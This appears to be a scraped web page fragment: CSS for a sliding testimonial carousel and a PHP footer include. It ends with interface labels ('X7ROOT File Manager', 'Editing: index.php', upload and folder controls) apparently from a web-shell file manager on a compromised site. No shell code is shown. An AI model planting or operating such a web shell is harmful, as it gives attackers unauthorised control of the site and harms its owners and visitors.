  margin-bottom: 10px;
  font-style: italic;
}
.testimonial-card h4 {
  margin-top: 10px;
  font-weight: bold;
  color: #ea0000;
}
.testimonial-card h4 span {
  display: block;
  font-size: 13px;
  color: #777;
  margin-top: 5px;
}
.testimonial-card .stars {
  margin: 8px 0;
  font-size: 18px;
  color: #f5b50a;
}

/* 🎞️ Animation for auto slide */
@keyframes slideDesktop {
  0%, 15%   { transform: translateX(0); }
  20%, 35%  { transform: translateX(-33.33%); }
  40%, 55%  { transform: translateX(-66.66%); }
  60%, 75%  { transform: translateX(-99.99%); }
  80%, 95%  { transform: translateX(-133.32%); }
  100%      { transform: translateX(0); }
}

@media (max-width: 767px) {
  .testimonial-card { flex: 0 0 100%; }
  .testimonial-track { animation: slideMobile 25s infinite; }
  @keyframes slideMobile {
    0%, 15%   { transform: translateX(0); }
    20%, 35%  { transform: translateX(-100%); }
    40%, 55%  { transform: translateX(-200%); }
    60%, 75%  { transform: translateX(-300%); }
    80%, 95%  { transform: translateX(-400%); }
    100%      { transform: translateX(0); }
  }
}
</style>

</div>

<?php include("footer.php"); ?>

X7ROOT File Manager

Editing: index.php

Upload File

Create Folder